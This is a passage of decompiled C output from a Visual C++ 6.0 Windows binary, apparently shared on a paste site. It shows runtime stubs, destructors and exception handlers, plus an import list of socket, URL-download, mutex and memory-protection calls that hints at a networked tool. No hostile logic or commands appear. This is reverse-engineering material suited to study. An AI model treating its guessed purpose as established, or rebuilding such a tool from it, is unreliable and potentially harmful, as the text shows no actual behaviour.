- }
- // Address range: 0x404a6e - 0x404a73
- int32_t __3f__3f_2_40_YAPAXI_40_Z(int32_t a1) {
- // 0x404a6e
- return _3f__3f_2_40_YAPAXI_40_Z();
- }
- // Address range: 0x404a74 - 0x404a79
- int32_t __3f__3f_1CFile_40__40_UAE_40_XZ(void) {
- // 0x404a74
- return _3f__3f_1CFile_40__40_UAE_40_XZ();
- }
- // Address range: 0x404a7a - 0x404a7f
- int32_t __3f_Read_40_CFile_40__40_UAEIPAXI_40_Z(int32_t a1, int32_t a2) {
- // 0x404a7a
- return _3f_Read_40_CFile_40__40_UAEIPAXI_40_Z();
- }
- // Address range: 0x404a80 - 0x404a85
- int32_t __3f_Seek_40_CFile_40__40_UAEJJI_40_Z(int32_t a1, int32_t a2) {
- // 0x404a80
- return _3f_Seek_40_CFile_40__40_UAEJJI_40_Z();
- }
- // Address range: 0x404a86 - 0x404a8b
- int32_t __3f_GetLength_40_CFile_40__40_UBEKXZ(void) {
- // 0x404a86
- return _3f_GetLength_40_CFile_40__40_UBEKXZ();
- }
- // Address range: 0x404a8c - 0x404a91
- int32_t __3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(int32_t a1) {
- // 0x404a8c
- return _3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z();
- }
- // Address range: 0x404a92 - 0x404a97
- int32_t _strlen(char * s) {
- // 0x404a92
- return strlen(s);
- }
- // Address range: 0x404a98 - 0x404ac3
- int32_t function_404a98(int32_t a1) {
- // 0x404a98
- int32_t v1;
- if (g65 == (void (***)())-1) {
- // 0x404aa1
- return (int32_t)_onexit((int32_t (*)())v1);
- }
- int32_t (*v2)() = __dllonexit((int32_t (*)())v1, (void (***)())&g65, (void (***)())&g64); // 0x404abb
- return (int32_t)v2;
- }
- // Address range: 0x404ac4 - 0x404ad5
- int32_t function_404ac4(int32_t a1) {
- // 0x404ac4
- return (int32_t)(function_404a98(a1) != 0) - 1;
- }
- // Address range: 0x404b14 - 0x404b1f
- int32_t function_404b14(void) {
- // entry
- return g1;
- }
- // Address range: 0x404b20 - 0x404b4f
- int32_t function_404b20(void) {
- // 0x404b20
- int32_t v1;
- int32_t v2 = &v1; // 0x404b26
- int32_t result;
- if (g1 < 0x1000) {
- // 0x404b40
- *(int32_t *)(v2 - g1 - 4) = result;
- return result;
- }
- int32_t v3 = v2 - 0x1000; // 0x404b2c
- int32_t v4 = g1 - 0x1000; // 0x404b32
- while (v4 >= 0x1000) {
- // 0x404b2c
- v3 -= 0x1000;
- v4 -= 0x1000;
- // continue -> 0x404b2c
- }
- // 0x404b40
- // branch -> 0x404b40
- // 0x404b40
- *(int32_t *)(v3 - v4 - 4) = result;
- return result;
- }
- // Address range: 0x404b50 - 0x404b5f
- int32_t ___CxxFrameHandler(int32_t * pExcept, int32_t * pRN, int32_t * pContext, int32_t * pDC) {
- // 0x404b50
- return __CxxFrameHandler(pExcept, pRN, pContext, pDC);
- }
- // Address range: 0x404b60 - 0x404b7f
- int32_t function_404b60(void) {
- // 0x404b60
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404b80 - 0x404b85
- int32_t * _memcpy_1(int32_t * dest, int32_t * src, int32_t n) {
- // 0x404b80
- return memcpy(dest, src, n);
- }
- // Address range: 0x404b86 - 0x404b8b
- char * _strcpy(char * dest, char * src) {
- // 0x404b86
- return strcpy(dest, src);
- }
- // Address range: 0x404b8c - 0x404b91
- int32_t * _memset_2(int32_t * s, int32_t c, int32_t n) {
- // 0x404b8c
- return memset(s, c, n);
- }
- // Address range: 0x404b92 - 0x404b97
- int32_t _strcmp(char * s1, char * s2) {
- // 0x404b92
- return strcmp(s1, s2);
- }
- // Address range: 0x404b98 - 0x404b9d
- char * _strcat(char * dest, char * src) {
- // 0x404b98
- return strcat(dest, src);
- }
- // Address range: 0x404b9e - 0x404ba3
- int32_t __except_handler3(struct _EXCEPTION_RECORD * exception_record, int32_t registration, struct _CONTEXT * context, int32_t dispatcher) {
- // 0x404b9e
- return _except_handler3(exception_record, registration, context, dispatcher);
- }
- // Address range: 0x404ba4 - 0x404ba9
- int32_t __purecall(void) {
- // 0x404ba4
- return _purecall();
- }
- // Address range: 0x404baa - 0x404ce7
- int32_t entry_point(void) {
- // entry
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404ce8 - 0x404cfb
- int32_t function_404ce8(void) {
- int32_t v1 = *(int32_t *)(g2 - 20); // 0x404ce8
- int32_t v2 = *(int32_t *)*(int32_t *)v1; // 0x404ced
- *(int32_t *)(g2 - 120) = v2;
- return _XcptFilter(v2, (int32_t *)v1);
- }
- // Address range: 0x404cfc - 0x404d07
- void function_404cfc(int32_t Code) {
- // 0x404cfc
- *(int32_t *)(*(int32_t *)(g2 - 24) - 4) = *(int32_t *)(g2 - 120);
- _exit(Code);
- }
- // Address range: 0x404d08 - 0x404d0d
- int32_t (*___dllonexit(int32_t (*func)(), void (***pbegin)(), void (***pend)()))() {
- // 0x404d08
- return __dllonexit(func, pbegin, pend);
- }
- // Address range: 0x404d0e - 0x404d13
- int32_t __XcptFilter(int32_t xcptnum, int32_t * pxcptinfoptrs) {
- // 0x404d0e
- return _XcptFilter(xcptnum, pxcptinfoptrs);
- }
- // Address range: 0x404d14 - 0x404d19
- void __initterm(void (**First)(), void (**Last)()) {
- // 0x404d14
- _initterm(First, Last);
- }
- // Address range: 0x404d1a - 0x404d2e
- int32_t function_404d1a(void) {
- // 0x404d1a
- return _controlfp(0x10000, 0x30000);
- }
- // Address range: 0x404d2f - 0x404d2f
- int32_t function_404d2f(void) {
- // 0x404d2f
- return g1;
- }
- // Address range: 0x404d30 - 0x404d35
- int32_t __controlfp(int32_t NewValue, int32_t Mask) {
- // 0x404d30
- return _controlfp(NewValue, Mask);
- }
- // Address range: 0x404d36 - 0x404d3b
- int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z(void) {
- // 0x404d36
- return _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z();
- }
- // Address range: 0x404d3c - 0x404d4f
- int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(void) {
- // 0x404d3c
- return _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z();
- }
- // Address range: 0x404d50 - 0x404dc4
- int32_t function_404d50(void) {
- // 0x404d50
- g4 = *(int32_t *)(g2 - 20) + 24;
- function_402db4();
- g4 = *(int32_t *)(g2 - 20) + 60;
- int32_t * v1;
- function_4030e9((int32_t)&v1);
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- g4 = *(int32_t *)(g2 - 16) + 24;
- function_402db4();
- g4 = *(int32_t *)(g2 - 16) + 60;
- function_4030e9((int32_t)&v1);
- g4 = *(int32_t *)(g2 - 16) + 0x9d4c;
- function_40378b((int32_t)&v1);
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- return __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(g2 - 16));
- }
- // Address range: 0x404dc5 - 0x404e34
- int32_t function_404dc5(void) {
- // 0x404dc5
- int32_t * v1;
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- int32_t result; // 0x404e34
- if ((*(int32_t *)(g2 - 20) & 1) != 0) {
- // 0x404e2b
- result = _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- // branch -> 0x404e34
- } else {
- result = 0;
- }
- // 0x404e34
- return result;
- }
- // Address range: 0x404e35 - 0x404efd
- int32_t function_404e35(void) {
- // 0x404e35
- int32_t * v1;
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- g4 = *(int32_t *)(g2 - 16) + 4;
- function_402db4();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- g4 = *(int32_t *)(g2 - 16) + 4;
- function_402db4();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- g4 = *(int32_t *)(g2 - 16) + 328;
- function_402db4();
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- return __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(g2 - 16));
- }
- // Address range: 0x404efe - 0x405018
- int32_t function_404efe(void) {
- // 0x404efe
- int32_t * lpCriticalSection;
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- g1 = _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- g4 = *(int32_t *)(g2 - 16);
- function_40442f();
- DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)&lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- g1 = __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- g4 = *(int32_t *)(g2 - 16);
- function_40442f();
- DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)&lpCriticalSection);
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- int32_t result; // 0x405018
- if ((*(int32_t *)(g2 - 20) & 1) != 0) {
- // 0x40500f
- result = _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- // branch -> 0x405018
- } else {
- result = 0;
- }
- // 0x405018
- return result;
- }
- // Address range: 0x405019 - 0x40504d
- int32_t function_405019(void) {
- // 0x405019
- int32_t * v1;
- __CxxFrameHandler(&v1, &v1, &v1, &v1);
- _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
- _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- int32_t result; // 0x40504d
- if ((*(int32_t *)(g2 - 20) & 1) != 0) {
- // 0x405044
- result = _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
- // branch -> 0x40504d
- } else {
- result = 0;
- }
- // 0x40504d
- return result;
- }
- // Address range: 0x40504e - 0x405057
- int32_t function_40504e(void) {
- // 0x40504e
- int32_t * v1;
- return __CxxFrameHandler(&v1, &v1, &v1, &v1);
- }
- // --------------- Statically Linked Functions ----------------
- // __int64 __allmul(__int64 a, __int64 b);
- // --------------- Dynamically Linked Functions ---------------
- // int32_t _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(int32_t a1);
- // int32_t _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(int32_t a1);
- // int32_t _3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(void);
- // int32_t _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ(void);
- // int32_t _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ(void);
- // int32_t _3f__3f_1CFile_40__40_UAE_40_XZ(void);
- // int32_t _3f__3f_2_40_YAPAXI_40_Z(void);
- // int32_t _3f__3f_3_40_YAXPAX_40_Z(void);
- // int32_t _3f__3f_9std_40__40_YA_NABV_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_0_40_0_40_Z(int32_t a1, int32_t a2);
- // int32_t _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z(void);
- // int32_t _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(void);
- // int32_t _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(int32_t a1);
- // int32_t _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(int32_t a1);
- // int32_t _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(void);
- // int32_t _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(int32_t a1, int32_t a2);
- // int32_t _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(int32_t a1, int32_t a2, int32_t a3);
- // int32_t _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(int32_t a1, int32_t a2);
- // int32_t _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(int32_t a1, int32_t a2, int32_t a3);
- // int32_t _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_PBGI_40_Z(int32_t a1, int32_t a2);
- // int32_t _3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHABV12_40__40_Z(int32_t a1);
- // int32_t _3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHIIPBDI_40_Z(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
- // int32_t _3f_GetLength_40_CFile_40__40_UBEKXZ(void);
- // int32_t _3f_Read_40_CFile_40__40_UAEIPAXI_40_Z(void);
- // int32_t _3f_Seek_40_CFile_40__40_UAEJJI_40_Z(void);
- // EXCEPTION_DISPOSITION __CxxFrameHandler(EHExceptionRecord * pExcept, EHRegistrationNode * pRN, void * pContext, DispatcherContext * pDC);
- // _onexit_t __dllonexit(_onexit_t func, _PVFV ** pbegin, _PVFV ** pend);
- // char ** __cdecl __p__pgmptr(void);
- // unsigned int __cdecl _controlfp(_In_ unsigned int NewValue, _In_ unsigned int Mask);
- // int _except_handler3(PEXCEPTION_RECORD exception_record, PEXCEPTION_REGISTRATION registration, PCONTEXT context, PEXCEPTION_REGISTRATION dispatcher);
- // void __cdecl _exit(_In_ int Code);
- // void __cdecl _initterm(_In_ _PVFV * First, _In_ _PVFV * Last);
- // char * _itoa(int value, char * str, int radix);
- // _onexit_t _onexit(_onexit_t Function);
- // int32_t _purecall(void);
- // int __cdecl _stricmp(_In_z_ char const * String1, _In_z_ char const * String2);
- // int _XcptFilter(unsigned long xcptnum, void * pxcptinfoptrs);
- // long int atol(const char * nptr);
- // BOOL CloseHandle(_In_ HANDLE hObject);
- // int closesocket(_In_ SOCKET s);
- // int connect(_In_ SOCKET s, const struct sockaddr * name, _In_ int namelen);
- // HANDLE CreateMutexA(_In_opt_ LPSECURITY_ATTRIBUTES lpMutexAttributes, _In_ BOOL bInitialOwner, _In_opt_ LPCSTR lpName);
- // HANDLE CreateThread(_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId);
- // VOID DeleteCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
- // VOID EnterCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
- // void free(void * ptr);
- // BOOL FreeLibrary(_In_ HMODULE hLibModule);
- // struct hostent * gethostbyname(_In_z_ const char * name);
- // DWORD GetLastError(VOID);
- // FARPROC GetProcAddress(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
- // HANDLE GetProcessHeap(VOID);
- // DWORD GetTickCount(VOID);
- // LPVOID HeapAlloc(_In_ HANDLE hHeap, _In_ DWORD dwFlags, _In_ SIZE_T dwBytes);
- // BOOL HeapFree(_Inout_ HANDLE hHeap, _In_ DWORD dwFlags, LPVOID lpMem);
- // u_short htons(_In_ u_short hostshort);
- // unsigned long inet_addr(_In_z_ const char * cp);
- // char * inet_ntoa(_In_ struct in_addr in);
- // VOID InitializeCriticalSection(_Out_ LPCRITICAL_SECTION lpCriticalSection);
- // BOOL InternetCloseHandle(_In_ HINTERNET hInternet);
- // HINTERNET InternetOpenA(_In_ LPCSTR lpszAgent, _In_ DWORD dwAccessType, _In_ LPCSTR lpszProxyName, _In_ LPCSTR lpszProxyBypass, _In_ DWORD dwFlags);
- // HINTERNET InternetOpenUrlA(_In_ HINTERNET hInternet, _In_ LPCSTR lpszUrl, _In_ LPCSTR lpszHeaders, _In_ DWORD dwHeadersLength, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
- // BOOL InternetReadFile(_In_ HINTERNET hFile, LPVOID lpBuffer, _In_ DWORD dwNumberOfBytesToRead, _Out_ LPDWORD lpdwNumberOfBytesRead);
- // BOOL IsBadReadPtr(_In_opt_ const VOID * lp, _In_ UINT_PTR ucb);
- // VOID LeaveCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
- // HMODULE LoadLibraryA(_In_ LPCSTR lpLibFileName);
- // void * memcpy(void * restrict dest, const void * restrict src, size_t n);
- // void * memset(void * s, int c, size_t n);
- // int MultiByteToWideChar(_In_ UINT CodePage, _In_ DWORD dwFlags, LPCCH lpMultiByteStr, _In_ int cbMultiByte, LPWSTR lpWideCharStr, _In_ int cchWideChar);
- // BOOL QueryPerformanceCounter(_Out_ LARGE_INTEGER * lpPerformanceCount);
- // int rand(void);
- // void * realloc(void * ptr, size_t size);
- // int recv(_In_ SOCKET s, char * buf, _In_ int len, _In_ int flags);
- // int send(_In_ SOCKET s, const char * buf, _In_ int len, _In_ int flags);
- // int setsockopt(_In_ SOCKET s, _In_ int level, _In_ int optname, const char * optval, _In_ int optlen);
- // VOID Sleep(_In_ DWORD dwMilliseconds);
- // SOCKET socket(_In_ int af, _In_ int type, _In_ int protocol);
- // int sprintf(char * restrict s, const char * restrict format, ...);
- // void srand(unsigned int seed);
- // char * strcat(char * restrict dest, const char * restrict src);
- // int strcmp(const char * s1, const char * s2);
- // char * strcpy(char * restrict dest, const char * restrict src);
- // size_t strlen(const char * s);
- // char * strncat(char * restrict dest, const char * restrict src, size_t n);
- // char * strncpy(char * restrict dest, const char * restrict src, size_t n);
- // BOOL TerminateThread(_In_ HANDLE hThread, _In_ DWORD dwExitCode);
- // time_t time(time_t * timer);
- // LPVOID VirtualAlloc(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
- // BOOL VirtualFree(LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD dwFreeType);
- // BOOL VirtualProtect(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);
- // DWORD WaitForSingleObject(_In_ HANDLE hHandle, _In_ DWORD dwMilliseconds);
- // size_t wcslen(const wchar_t * s);
- // int WideCharToMultiByte(_In_ UINT CodePage, _In_ DWORD dwFlags, LPCWCH lpWideCharStr, _In_ int cchWideChar, LPSTR lpMultiByteStr, _In_ int cbMultiByte, _In_opt_ LPCCH lpDefaultChar, _Out_opt_ LPBOOL lpUsedDefaultChar);
- // int WSACleanup(void);
- // int WSAGetLastError(void);
- // int WSAStartup(_In_ WORD wVersionRequested, _Out_ LPWSADATA lpWSAData);
- // --------------------- Meta-Information ---------------------
- // Detected compiler/packer: microsoft linker (6.0)
- // Detected language: Visual C++
- // Detected functions: 141
- // Decompilation date: 2017-12-14 09:26:43
Advertisement
Add Comment
Please, Sign In to add comment